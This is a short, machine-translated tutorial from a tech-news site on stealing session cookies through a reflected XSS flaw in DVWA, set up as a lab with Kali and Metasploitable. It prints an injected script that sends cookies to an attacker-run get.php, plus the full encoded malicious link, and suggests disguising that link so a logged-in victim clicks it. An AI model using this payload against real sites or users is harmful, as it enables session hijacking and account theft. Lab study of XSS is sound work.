In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-04-06 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)06/01 Report--
This article mainly explains "how to use XSS loopholes to obtain each other's cookie". The content of the article is simple and clear, and it is easy to learn and understand. Please follow the editor's train of thought to study and learn "how to use XSS loopholes to get each other's cookie".
(1) Environment building
Kali linux:192.168.80.136
Target win7: 192.168.80.130
Metasploitable:192.168.80.129
Cookie receives the script get.php (the script is under the / var/www/html folder, html folder permissions 777):
(2) XSS vulnerability exploitation
Log in to the DVWA of metasploitable, click on the page with XSS vulnerability, enter the following code, and submit: newImage () .src = "http://192.168.80.136/get.php?cookie="+[xss_clean];"
(3) View cookie
Switch to kali and look directly at the cookie.txt content to see the obtained cookie.
(4) further utilization
After the target is submitted, you can see the following URL in the address bar:
Http://192.168.80.129/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2F192.168.80.136%2Fget.php%3Fcookie%3D%22%2B[xss_clean]%3B%3C%2Fscript%3E#
The above URL can be disguised as other forms (such as images) to induce the target to click, and the same effect can be achieved when the target is logged in.
Thank you for your reading, the above is the content of "how to use XSS loopholes to obtain each other's cookie". After the study of this article, I believe you have a deeper understanding of how to use XSS loopholes to obtain each other's cookie. Specific use also needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.